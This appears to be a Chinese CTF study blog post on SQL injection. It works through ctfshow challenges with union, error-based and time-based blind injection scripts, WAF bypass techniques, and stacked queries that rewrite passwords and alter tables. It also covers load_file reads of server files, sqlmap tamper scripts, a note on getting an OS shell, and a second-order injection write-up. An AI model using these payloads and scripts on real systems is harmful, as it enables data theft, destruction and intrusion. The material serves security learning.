SQL注入总结

文章发布时间:

最后更新时间:

文章总字数:
6.2k

预计阅读时间:
25 分钟

SQL注入总结

终于到了总结这个最初的漏洞的时候(web入门正式学习的第一个漏洞类型),赛题是从简单到难的都有,简单的一般是盲注,而难的多数要根据源代码分析语句写法+二次注入。

sqlmap说实话在稍微难一点的题目从来没有成功过,还是手工和python脚本注入实在一点

sql注入简要思路

  • sql注入首先明确是否有注入点,能否进行sql注入,发送 ‘ 看是否有报错信息(有回显)

    根据做题的经验,一定要判断是否有与数据库进行交互的地方,如果没有与数据库进行交互,仅仅是前端验证肯定不会有sql注入漏洞,试都不用试,就是那种login.php,register.php,一上来就给个登录框的几乎不可能是sql注入。

  • 确定数据库类型,明确要使用的语句和特殊函数,mysql,oracle,sqlite等等

    使用bp的sqlfuzz字典来爆破一遍,确定屏蔽了哪些关键字

  • 确定请求数据库的方法(network看数据包):select(查询),insert(注册),delete(删除),update(更新数据)

  • 确定参数类型:数字,字符,搜索,json,cookie,http头(通过user-agent写数据库,存在sql注入漏洞,事实上后面那几种从来没有在赛题中见过,仅做了解)

  • 确定sql语句干扰符号:’(字符型注入),“,%,),”),/**/(only_one_number_sql),%‘模糊搜索(搜索型注入), (数字型注入),目的是把sql语句闭合!只要能闭合就行

通用流程(有回显,无回显就采用盲注):

  1. order by ? 看到几报错说明数据有几行
  2. union select 1,2,3… 看回显的每一行对应的是哪一个数字
  3. 将数字替换成database(),user(),version() 查询相关信息。select schema_name from information_schema.schemata(查库)
  4. 知道database名之后,group_concat(table_name) from infomation_schema.tables where table_schema = dbname
  5. group_concat(column_name) from information_schema.columns where table_schema = dbname and table_name = tbname
  6. group_concat(column) from table

sql盲注

报错注入:使用一些语句来让页面回显的报错信息中含有查询内容,当页面会回显sql语句报错信息时使用

admin’or(updatexml(1,concat(0x7e,database(),0x7e),1))#

常用的报错注入语句可以在网上获取

过滤了空格就使用括号来绕过

依次替换中间的即可进行正常的sql查询,注意括号加在哪,加多少个括号。

=号被过滤了就采用like来代替

注意有时候报错注入回显不全就要用left,right,mid等函数来获取剩下的一段

bool盲注sql注入成功后的页面和没成功的页面有区别,比如回显不同的字段就可以采用bool盲注,否则只能采用时间延注

bool盲注的基本步骤,首先确定成功页面和不成功页面有什么区别,如sqlilabs中,如果语句查询成功页面中就会包含“You are in…”,这是布尔盲注最关键的一步。

然后依次构造payload确定数据库名长度,数据库名,表数量,每个表表名长度,每个表表名,有用的表的名的长度,有用表名,有用表中含多少个字段,每个字段有多长,每个字段是什么,每个字段有多少条数据,每条数据长度,每时条数据具体是什么

会用到count(*),substr,limit等sql函数,同时使用一个包含所有字母的列表或者使用ascii值来爆破返回的结果,亦可使用二分法加速爆破。

时间延注:采用sleep函数来使得查询成功时页面暂缓生成,从而判断成功和不成功。其实和布尔盲注都是盲注,只是判断正误的方法不同。

以下是一个完整的时间延注脚本,采用了二分法加速,不同的题替换url和payload即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url = "http://3f1538ed-4694-4f48-8879-3f4eff06167d.challenge.ctf.show/api/v5.php"
flag = ""
i = 0
while True:
i = i+1
left = 32
right = 127
while left < right:
mid = (left+right) // 2
payload = f"?id=1' and if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),{i},1))>{mid},sleep(2),0) -- -"
try:
res = requests.get(url = url+payload,timeout=0.6)
right = mid
except Exception as e:
left = mid+1
if left != 32:
flag+=chr(left)
print(flag)
else:
break

waf过滤绕过

  1. 空格限制绕过

    两个空格代替一个空格,%09 %0a %0b %0c %0d %a0 /**/均可代替空格,一个一个试

    也可以使用括号来绕过空格 select(user())fromdualwhere(1=1)and(2=2),括号绕过空格的原理是括号包含子查询,任何可以计算出结果的语句都可以用括号围起来,而括号的两端没有多余的空格。

  2. 引号限制绕过

    使用十六进制字符串来绕过,会使用引号的位置一般在where字句中,

    “users” = 0x7573657273可以绕过引号

  3. 逗号限制绕过

    • 简单注入可以使用join方法绕过

      union select 1,2,3 = union select * from (select 1)a join (select 2)b join (select 3)

    • 对于盲注的特定函数,limit 1,1 = limit 1offset1

    • substr和mid:substr(str from pos for len) 在str中从第pos位截取len长的字符,mid类似

  4. 比较符号><限制绕过

    使用盲注时二分法需要使用到比较符号,使用greatest()函数绕过,判断两值中最大值是哪个

  5. or and限制绕过

    使用&&来代替and,使用||来代替or

  6. 注释符号#,–限制绕过

    使用%23来代替#,在语句末尾使用||‘1,这个’闭合了原sql查询语句中最后的单引号,且由于或的作用,后面的语句不管正确与否都失去了作用。

  7. =限制绕过

    使用like代替等号,在盲注中可以使用大于或小于号绕过

  8. union,select,where关键字限制绕过

    • 使用注释符来隔开字母以绕过 常见注释符//,–,/**/,–+,;,%00,–a
    • 使用大小写混用来绕过(sql语句不区分大小写)
    • 内联注释绕过
    • 双关键字绕过,如果waf函数是直接把union等删掉,可以双写关键字UNIunionON
  9. 通用绕过

    使用编码,url编码,ascii编码,hex编码,unicode编码看看能不能绕过

  10. 等价函数绕过

hex()、bin()==>ascii()

sleep()==>benchmark()

concat_ws()==>group_concat()

mid()、substr()==>substring()

@@user==>user()

@@datadir==>datadir() 哪个函数被ban了可以查询对应sql中有没有替代的函数

  1. 宽字节注入

当遇到一道没有提示绕过了什么的题时,可以使用burp来进行fuzz攻击,看看什么样的payload可以绕过,这样就可以知道题目过滤了什么,怎么过滤的。

其他数据库注入

不同数据库导致注入的攻击方式和使用函数不同

  1. 先判断是什么数据库,有以下几种判断方式

    • 特定函数判断:

      len和length

      mssql和mysql以及db2内,返回长度值使用的是len()函数,而在oracle和INFORMIX中通过length()来返回长度值使用and len(‘a’)=1的时候,返回正常页面时,可以推断当前的数据库类型可能是mssql,或mysql,或是db2。反之则可能会是oracle和informix。

      @@version和version

      无法判断是mysql还是mssql时,使用version函数判断,两个都可以是mysql,version()错误就说明是mssql

      substring和substr

      在mssql中可以使用substring,而oracle中只能substr,mysql两个都可以

    • 辅助符号判断:

      and exists (select count(*) from sysobjects)

      and exists (select count(*) from msysobjects)

      第一条返回正常说明是mssql数据库,两条都不正常是access

      以上两语句针对参数为数字型,如果是字符型加引号和注释符闭合

      另外;是子句查询标识符,oracle不支持多行查询,如果返回错误,说明很有可能是oracle

    • 利用回显错误信息:

      有时候错误信息直接告诉你用的是什么数据库,错误提示Microsoft JET Database Engine 错误 ‘80040e14’,说明是通过JET引擎连接数据库,则表明数据库为ACCESS数据库,如果是ODBC的话则说明是MSSQL数据库。

access相当于一个数据库,下面有表名列名和数据,而mysql,mssql等下含多个数据库,可以进行跨站攻击,且access的函数比其他的少。

sql查询方式推测

推测出sql的查询方式有利于我们更好地选择sql注入的语句。通过页面的功能可以很方便地推测出sql的查询方式,比如修改密码的界面就是使用了update

几种常见的查询方式:

select查询数据
在网站应用中进行数据显示查询操作
例: select * from news where id=$id

insert插入数据
在网站应用中进行用户注册添加等操作
例: insert into news (id, url,text) values ( 2,’x’,’$t’)

delete删除数据
后台管理里面删除文章删除用户等操作
例: delete from news where id=$id

update更新数据
会员或后台中心数据同步或缓存等操作
例: update user set pwd=’$p’ where id=2 and username=’ admin’

order by排序数据
一般结合表名或列名进行数据排序操作
例: select * from news order by $id

例: select id , name , price from news order by $order

注意除了select之外的其他的sql语句都不会有回显,只能使用盲注(优先尝试报错注入,因为最简单,这也是很多二次注入的方法),同时要注意语句怎么闭合(其实和select几把呢一样)。

sql注入扩展

1.加解密注入:通过后端对查询语句的解密来写对应的加密脚本来加密语句,常见在sqlmap中自写tamper脚本,然后–tamper指定

2.二次注入:类似存储型xss,一般用于白盒测试,即明确知道后端代码的时候(通常可以扫描目录,或者结合其他漏洞利用来获得源码,如果确认这题的考点就是sql注入,但是基本所有都过滤的时候就可以考虑,因为通常会对上传的数据进行转义,然后插入数据库中,但是注意插入数据库的数据仍然是原始的数据,下一次要update或者其他的时候就会引用原始的数据,从而触发二次注入),第一步先插入恶意数据,下一次开发者引用数据时就会触发sql二次注入。

3.dnslog注入:用工具和网站,到目前都没有见过。

4.堆叠注入:堆叠查询,handler等等,根据做题总结,(说实话不太可能遇到,怎么会让你在查询框输入多条sql语句)。

ctfshow sql靶场

这个靶场虽然有一些感觉太刁钻了,但是还是在里面学到了很多东西,包括sqlmap使用等等,故在这里作完全收录,方便以后进行查阅。

参考链接:[CTFSHOW]SQL注入(WEB入门)_Y4tacker的博客-CSDN博客

select无过滤

web171:最常规注入

web172:加了约束,判断回显的字段是否有flag,可以用to_base64(username)绕过,也可where

web173:同上

select有过滤

web174:过滤了回显中的flag和数字0-9,两种方法绕过,一个方法是写脚本盲注,要注意用burpsuite抓包发现一个可以查询是否成功的api接口,对这个接口进行盲注爆破flag,另一个方法是将所有的数字替换成其他的字符,再逆操作解码即可。第二种方法的payload:

-1’ union select ‘a’,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,”1”,”@A”),”2”,”@B”),”3”,”@C”),”4”,”@D”),”5”,”@E”),”6”,”@F”),”7”,”@G”),”8”,”@H”),”9”,”@I”),”0”,”@J”) from ctfshow_user4 where username = ‘flag’ –+

用到了sql中的replace函数,python中也有相应的replace,逆操作如下

1
2
3
4
5
6
flag64 = "ctfshow{@Hb@Ff@De@Hd-cb@E@C-@D@A@Hd-@Ib@J@A-b@A@Feed@Ea@H@E@B@J}"

flag = flag64.replace("@A", "1").replace("@B", "2").replace("@C", "3").replace("@D", "4").replace("@E", "5").replace(
"@F", "6").replace("@G", "7").replace("@H", "8").replace("@I", "9").replace("@J", "0")

print(flag)

web175:用正则表达式过滤掉了所有字符,只能使用盲注

由于查看api接口发现不管输入什么都是返回错误,只能使用时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url = "http://3f1538ed-4694-4f48-8879-3f4eff06167d.challenge.ctf.show/api/v5.php"
flag = ""
i = 0
while True:
i = i+1
left = 32
right = 127
while left < right:
mid = (left+right) // 2
payload = f"?id=1' and if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),{i},1))>{mid},sleep(2),0) -- -"
try:
res = requests.get(url = url+payload,timeout=0.6)
right = mid
except Exception as e:
left = mid+1
if left != 32:
flag+=chr(left)
print(flag)
else:
break

一个标准的时间盲注模板,不需要引入系统时间,直接在timeout内看是否能登上网页,使用二分查找法来加速,不同的题只需要改payload和url即可

web176:过滤了union,select等,使用大小写混搭绕过

web177:176基础上过滤了空格,空格被过滤可以用,/**/,%09,%0a,%0b,%0c,%0d还有括号绕过,注意不能用%20,因为空格也会被解析成%20,其实根本没有绕过。

web178:177基础上过滤了/**/,依然可以用剩下的各种符号绕过

根据查询语句绕过

web181:运算符优先级绕过 payload:-1’||username=’flag ,利用原查询中的and比后面我们自己加进来的or优先级高来绕过,前面的先进行判断,结果为错,因为没有id=-1的列,执行后面的username=’flag查询,得到flag

web187: md5(string,true)绕过

$password = md5($_POST[‘password’],true);

password=ffifdyop或者是129581926211651571912466741651878684928可以登录成功

web188:mysql弱类型比较绕过

在mysql中字符串与数字比较时,以字母为开头的字符串都会转化成0

因此where username=0这个查询语句可以把所有username以字母开头的数据查出来

if($row[‘pass’]==intval($password)){这个pass也是以字母开头的,传入0可绕过。

注意:如果有不是以字母开头的数据就会匹配不成功,这是可以用username=1||1来匹配,由于或的特性,这样一定会匹配成功。

布尔盲注

web189:load_file+盲注

题目提示flag在/api/index.php中,尝试用select读取发现select被屏蔽,只能使用盲注,根据上一题,尝试输入账号密码为0,提示密码错误,而把账号改成1提示查询失败,利用这个/api/index.php不同的返回值来做盲注

1
2
3
4
5
6
payload = "if(load_file('/var/www/html/api/index.php')regexp('{0}'),1,0)"
dic = {
"username": payload.format(flag + j),
# 1返回\u67e5\u8be2\u5931\u8d25
"password": "0"
}

注意load_file读取一定要完整的路径,regexp用于正则匹配flag,在ctfshow{后面依次尝试添加不同的字母,若返回查询失败说明if语句返回了1,将该字母加入到flag中

web190:经典无过滤布尔盲注,见bool脚本,使用二分法加速

web191:过滤了ascii,使用ord函数替代,功能和ascii完全一致

web192:过滤了ord,将payload改一下,改成(注意{}加单引号表示字符)

1
payload="'or (substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))>'{}'#".format(i,chr(mid))

将mid转化成char再进行比较,由于sql比较时会先将字符转化为大写再比较,故输出的都是大写,也可以使用枚举,不使用二分法。

web193:过滤了substr,可以使用left,right,mid等替换

同时也可以使用之前189提到的正则表达式的方式来匹配flag,就不需要对flag进行截断操作,不过这样就无法使用二分来加速且需要提前知道flag的前缀。

web194:同上

堆叠注入

web195:从本题开始堆叠注入的学习(多条组合查询,或者使用如handler等多条语句的命令,或者通过增删改查直接操作数据库来绕过验证)

只要权限够,就可以进行增删改查,堆叠注入不是很常用,因为很容易被限制,但姿势很多,要注意积累。

本题采用了改的方法,将表中的pass即密码字段全部改为1,再使用0这个万能用户名可以登录获得flag。也可以使用十六进制的admin登录,为什么一定要使用十六进制呢,因为这个sql查询语句没有用引号把传入字符串包起来。

payload:0;update`ctf_user`set`pass`=1过滤了空格可以用反引号包住列名和表名,在handler里也有所提及。update + set

web196:用户名不能太长,本题过滤的是se1ect并没有过滤select,使用0;select(1);前面的查询返回空,而1填入了row[0]中(row代表的是sql查询语句返回的数据,正因如此,返回逻辑中才需要用row[0]和密码比较),密码也填1即可登录。注意密码的比较逻辑

web197:过滤了select,但没有过滤show,可以使用0;show tables,则tables返回的结果ctfshow_user填入到了**row[0]**中,密码填ctfshow_user就可登录。

web198:和上一题同理,同时也可以使用另一种方法,将id和pass的列名互换,然后爆破admin的id,id匹配上了就能成功登录。alter + change

1
payload = '0x61646d696e;alter table ctfshow_user change column `pass` `gylq` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `gylq` `id` varchar(255);'

web199-200:同理

sqlmap练习

(12条消息) sqlmap使用教程(超详细)_Redmaple925的博客-CSDN博客

web201:这一题提示需要使用–refer=“ctf.show”绕过,同时使用–user-agent指定。

1
2
3
4
5
step1:sqlmap -u [``"URL"``] ``//测试是否存在注入
step2:sqlmap -u [``"URL"``] -current-db ``//查询当前数据库
step3:sqlmap -u [``"URL"``] -D [``"数据库名"``] --tables ``//查询当前数据库中的所有表
step4:sqlmap -u [``"URL"``] -D [``"数据库名"``] -T [``"表名"``] --columns ``//查询指定库中指定表的所有列(字段)
step5:sqlmap -u [``"URL"``] -D [``"数据库名"``] -T [``"表名"``] -C [``"列名"``] --dump ``//打印出指定库中指定表指定列中的字段内容

注意如果是get请求,要在url后面加上?id=,表示id是get接收的参数

web202:使用–data=“id=1”来指定post请求,其他一样。

web203:使用–method= 来指定其他请求,如本题中需要指定put请求,另外需要注意更改content-type为text/plain,–method=”PUT” –data=”id=1” –headers=”Content-Type: text/plain”

web204:在上一题的基础上加上了–cookie,使用bp抓包,把抓到的cookie填进去

sqlmap -u “http://1f958108-6cb3-4246-a57e-cc16dcd0bd2a.challenge.ctf.show/api/index.php" –data “id=1” –method=PUT –header=”Content-Type:text/plain” –cookie=”PHPSESSID=jg00d7vu29fi84ohkp3ksi74t8; ctfshow=3f55bb1bfd3e87d8ffcea6d6d55ea6a0” –referer=”ctf.show” -D ctfshow_web -T ctfshow_user

web205:通过bp抓包可以发现,在请求api之前,网页先请求了getToken鉴权页面,使用sqlmap的–safe-url来先访问这个安全页面,再访问进行sql测试的api页面,同时要注意–safe-freq设置成1,每次都要先访问鉴权页面

sqlmap -u “http://02d91115-3218-4721-8016-a0bed82b37e3.challenge.ctf.show/api/index.php" –data “id=1” –method=PUT –safe-url=”http://02d91115-3218-4721-8016-a0bed82b37e3.challenge.ctf.show/api/getToken.php" –safe-freq=1 –header=”Content-Type:text/plain” –cookie=”PHPSESSID=di7ffs2tm2hhprosgds13ga9pj” –referer=”ctf.show” -D ctfshow_web -T ctfshow_flax –dump

web206:同上

web207:tamper初体验,–tamper=脚本名,来调用脚本,当调用多个脚本时,脚本之间用逗号隔开,调用的脚本放在sqlmap文件夹下的tamper文件夹中。可以自己写也可以用别人写好的。

本题过滤了空格,直接使用别人写好的模块space2comment绕过即可成功注入。

web208:同上

web209:本题过滤了等号和空格和*号,需要绕过对等号和空格的过滤,而现成的脚本中没有这样的功能,需要我们自行写tamper,然后放进sqlmap的tamper文件夹

1
2
3
4
5
6
7
8
9
10
11
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST


def dependencies():
pass


def tamper(payload, **kwargs):
return payload.replace("="," like ").replace(" ",chr(0x09))

tamper分三部分,优先级,适用情况,主要函数(接受的参数为payload和**kwargs。返回值为替换后的payload,要替换的就是payload,来完成想要的绕过。kwargs是修改http头里的内容函数)

web210:同上,自写tamper对waf的操作进行反操作或者绕过。

web211:同上,绕过加反操作,自写的脚本详见myTamper

web212:同上

web213:使用sqlmap的–os-shell来获取网站的shell

getshell条件:

1.网站必须是root权限
2.知道网站的绝对路径
3.PHP关闭魔术引号,php主动转义功能关闭
4.secure_file_priv=值为空

getshell成功上传文件之后可以使用菜刀连接或者直接在终端输命令即可 ls /

时间盲注

web214:啥提示都没有,返回index.php页面,web题遇到啥都没有的情况可以通过bp抓一下包看看有没有什么突破口。

抓包发现网页通过post方法提交了一个ip和一个debug,debug设置为0,修改debug为1出现了查询语句,由于正误无任何回显,故采用基于时间的盲注,本题为标准时间盲注模板。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import time

url = "http://52996c56-6c23-4abb-8c0b-545755d9cb91.challenge.ctf.show/api/"
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-={}_,'
result = ""
for i in range(0, 666):
left = 32
right = 127
while left < right:
mid = (left+right)//2
payload = "if(ascii(substr((select flaga from ctfshow_flagx),{},1))>{},sleep(1),1)"
# payload = "if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0)"
# payload = "if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagx'),{},1)='{}',sleep(5),0)"
data = {
"ip": payload.format(i, mid),
"debug": '0'
}
try:
r = requests.post(url, data=data, timeout=1)
right = mid
except Exception as e:
left = mid + 1
result += chr(left)
print(result)

web215:加了单引号,修改脚本的payload至闭合查询语句即可。

web216:注意闭合查询语句,且前面的base64已经被闭合了,故不需要对我们的if语句进行处理,直接用上一题脚本微改即可。

web217:过滤了sleep函数,使用benchmark(5000000,sha(1))来代替sleep(3),benchmark第一个参数表示计算重复的次数,第二个参数表示计算的式子,同样能起到延时的作用。

web218:过滤了sleep和benchmark,可以使用heavy query方法,heavy query顾名思义就是通过做大量的查询导致查询时间较长来达到延时的目的。

其他的sql题实在是太多了,这里就不再一一列举,举例一道稍微有难度的题,我认为这道题在稍有难度的sql题中极具代表性(说不定其他题都是仿这道题出的)

CISCN cyberpunk

看注释源码,有?file=,使用php伪协议将三个文件的源码都读出来,看出username和phone进行了非常严格的过滤(输入sql关键词会报错),而address只进行了转义(输入sql关键词只是不起作用),推测address是sql注入的关键点。

1
2
3
4
5
6
7
8
9
10
$address = addslashes($_POST["address"]);
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}

address更新的时候会引用到旧的地址,如果第一次修改地址的时候,构造一个含SQL语句特殊的payload,然后在第二次修改的时候随便更新一个正常的地址,那个之前没有触发SQL注入的payload就会被触发。这就是二次注入。

这道题显然没有回显,没有回显的情况下优先尝试最简单的报错注入。

1
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#

flag显示不全需要分两次显示。旧地址输入payload,再随便修改新地址即可回显flag。